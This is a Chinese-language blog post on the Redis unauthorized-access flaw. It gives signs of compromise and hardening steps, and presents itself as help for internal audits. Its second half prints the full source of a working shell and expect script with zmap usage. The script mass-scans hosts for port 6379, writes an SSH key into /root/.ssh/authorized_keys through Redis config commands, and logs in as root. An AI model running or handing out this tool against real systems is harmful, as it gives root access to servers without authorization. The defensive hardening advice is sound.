redis安全

一、前言

yum   install  -y  openssl  openssl-devel

前段時間,在做內網影響程度評估的時候寫了掃描利用小腳本,
掃描後統計發現,內網中60%開放了redis6379端口的主機處於可以被利用的危險狀態,因爲都是一些默認配置造成的
考慮到本社區大部分開發者都會使用Redis,特此分享下以便大家可以對自己公司的內網進行一個排查。

二、漏洞介紹

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啓認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。***者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。

***特徵:

  1. Redis 可能執行過 FLUSHALL 方法,整個 Redis 數據庫被清空

  2. 在 Redis 數據庫中新建了一個名爲 crackit(網上流傳的命令指令) 的鍵值對,內容爲一個 SSH 公鑰。

  3. 在 /root/.ssh 文件夾下新建或者修改了 authorized_keys 文件,內容爲 Redis 生成的 db 文件,包含上述公鑰

三、修復建議

1.禁止一些高危命令

修改 redis.conf 文件,添加

rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""

來禁用遠程修改 DB 文件地址

2.以低權限運行 Redis 服務

爲 Redis 服務創建單獨的用戶和家目錄,並且配置禁止登陸

3.爲 Redis 添加密碼驗證

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外網訪問 Redis

修改 redis.conf 文件,添加或修改

bind 127.0.0.1

使得 Redis 服務只在當前主機可用

四、掃描工具

1 使用說明

    #以Ubuntu爲例
    su    # Requirements
    apt-get install redis-server expect zmap

    git clone https://github.com/qingxp9/yyfexploit    cd yyfexploit/redis    # 掃描6379端口
    # 如果你要掃內網,把/etc/zmap/zmap.conf中blacklist-file這一行註釋掉
    zmap -p 6379 10.0.0.0/8 -B 10M -o ip.txt    # Usage
    ./redis.sh ip.txt

最後,將會生成幾個txt文件記錄結果
其中:
runasroot.txt 表示redis無認證,且以root運行
noauth.txt 表示redis無認證,但以普通用戶運行
rootshell.txt 已寫入公鑰,可直接以證書登錄root用戶

像這樣:

ssh -i id_rsa [email protected]

2 工具源代碼

就貼下代碼吧,各位大牛請在家長陪同下觀看

   #!/bin/sh
    if [ $# -eq 1  ]
    then      ip_list=$1

      ##create id_rsa
      echo "****************************************Create id_rsa file"

      expect -c "
        spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"
        expect {            \"*passphrase): \" {
                exp_send \"\r\"
                exp_continue
            }            \"*again: \" {
                exp_send \"\r\"
            }            \"*y/n)? \" {
                exp_send \"n\r\"
            }
        }
        expect eof
      "

      echo "\n\n****************************************Attack Targets"
      touch noauth.txt runasroot.txt rootshell.txt haveauth.txt      i=0
      cat $ip_list | while read ip      do        i=`expr $i + 1`;        #write id_rsa.pub to remote
        echo "*****${i}***connect to remote ${ip} redis "

        expect -c "
          set timeout 3
          spawn redis-cli -h $ip config set dir /root/.ssh/
          expect {            \"OK\"                        { exit 0 }            \"ERR Changing directory: Permission denied\"         { exit 1 }
            timeout                       { exit 2 }            \"(error) NOAUTH Authentication required\"         { exit 3 }
          }
        "

        case $? in            0)  echo "run redis as root"
                echo $ip >> noauth.txt                echo $ip >> runasroot.txt
            ;;
            1)  echo "not run redis as root\n\n\n"
                echo $ip >> noauth.txt                continue
            ;;
            2)  echo "connect timeout\n\n\n"
                continue
            ;;
            3)  echo "Have Auth\n\n\n"
                echo $ip >> haveauth.txt                continue
            ;;        esac

        (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
        cat foo.txt | redis-cli -h $ip -x set 1
        redis-cli -h $ip config set dir /root/.ssh/
        redis-cli -h $ip config set dbfilename "authorized_keys"
        redis-cli save        #login test
        echo "#try to login"
        expect -c "
          set timeout 5
          spawn ssh -i id_rsa root@$ip echo \"yyf\"
          expect {            \"*yes/no\"     { send \"yes\n\"}            \"*password\"   { send \"\003\"; exit 1 }            \"yyf\"         { exit 0 }
            timeout         { exit 2 }
          }
          exit 4
        "

        exitcode=$?

        if [ $exitcode -eq 0 ]
        then          echo "---------------${ip} is get root shell"
          echo $ip >> rootshell.txt        fi        echo "\n\n\n"
      done      echo "##########Final Count##########"
      wc -l $ip_list
      echo "----------"
      wc -l noauth.txt
      wc -l runasroot.txt
      wc -l rootshell.txt      echo "----------"
      wc -l haveauth.txt    else      echo "usage: ./redis.sh ip.txt"
    fi

五、相關參考

  1. http://zone.wooyun.org/content/23858

  2. https://blog.islandzero.net/2015/11/11/redis-crackit/

  3. http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章